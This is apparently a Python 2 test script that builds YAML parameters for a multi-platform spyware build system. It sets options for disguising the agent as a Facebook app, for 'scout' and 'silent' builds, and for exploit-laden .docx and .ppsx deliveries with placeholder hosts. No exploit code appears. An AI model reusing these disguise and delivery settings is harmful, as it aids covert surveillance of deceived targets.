import yaml params = {} demo = True params['blackberry'] = { 'platform': 'blackberry', 'binary': {'demo': demo}, 'melt': {'appname': 'facebook', 'name': 'Facebook Application', 'desc': 'Applicazione utilissima di social network', 'vendor': 'face inc', 'version': '1.2.3'}, 'package': {'type': 'local'}} params['windows'] = { 'platform': 'windows', 'binary': {'demo': demo, 'admin': False}, 'melt': {'scout': True, 'admin': False, 'bit64': True, 'codec': True}, 'sign': {} } params['android'] = { 'platform': 'android', 'binary': {'demo': demo, 'admin': False}, 'sign': {}, 'melt': {} } params['linux'] = { 'platform': 'linux', 'binary': {'demo': demo, 'admin': False}, 'melt': {} } params['osx'] = {'platform': 'osx', 'binary': {'demo': demo, 'admin': True}, 'melt': {} } params['ios'] = {'platform': 'ios', 'binary': {'demo': demo}, 'melt': {} } params['exploit'] = {"generate": {"platforms": ["windows"], "binary": {"demo": False, "admin": False}, "exploit": "HT-2012-001", "melt": {"demo": False, "scout": True, "admin": False}}, "platform": "exploit", "deliver": {"user": "USERID"}, "melt": {"combo": "txt", "filename": "example.txt", "appname": "agent.exe", "input": "000"}, "factory": {"_id": "000"} } params['exploit_docx'] = {"generate": {"platforms": ["windows"], "binary": {"demo": False, "admin": False}, "exploit": "HT-2013-002", "melt": {"demo": False, "scout": True, "admin": False}}, "platform": "exploit", "deliver": {"user": "USERID"}, "melt": {"filename": "example.docx", "appname": "APPNAME", "input": "000", "url": "http://HOSTNAME/APPNAME"}, "factory": {"_id": "000"} } params['exploit_ppsx'] = {"generate": {"platforms": ["windows"], "binary": {"demo": False, "admin": False}, "exploit": "HT-2013-003", "melt": {"demo": False, "scout": True, "admin": False}}, "platform": "exploit", "deliver": {"user": "USERID"}, "melt": {"filename": "example.ppsx", "appname": "APPNAME", "input": "000", "url": "http://HOSTNAME/APPNAME"}, "factory": {"_id": "000"} } params['exploit_web'] = {"generate": {"platforms": ["windows"], "binary": {"demo": False, "admin": False}, "exploit": "HT-2013-002", "melt": {"demo": False, "scout": True, "admin": False}}, "platform": "exploit", "deliver": {"user": "USERID"}, "melt": {"filename": "example.docx", "appname": "APPNAME", "input": "000", "url": "http://HOSTNAME/APPNAME"}, "factory": {"_id": "000"} } params = {'EXECUTE_VM': [ 'C:/Program Files/Internet Explorer/iexplore.exe', [ 'http://www.facebook.com' ], 40, 40]} #params = {'TEST': ['START_AGENT', {'CALL': 'SET_DEFAULTS'}, {'CALL': 'PUSH_ASSETS_BUILD'}, {'BUILD': ['elite', 'windows', 'silent']}, {'CHECK_EVIDENCES': ['chat', 'fb']}, 'STOP_AGENT']} print yaml.dump(params) y = """ - EXECUTE_VM: - C:/Program Files/Internet Explorer/iexplore.exe - ['http://www.facebook.com'] - 40 - True - True """ d = yaml.load(y) print d s = d[0]['EXECUTE_VM'][1][0] print s, type(s) .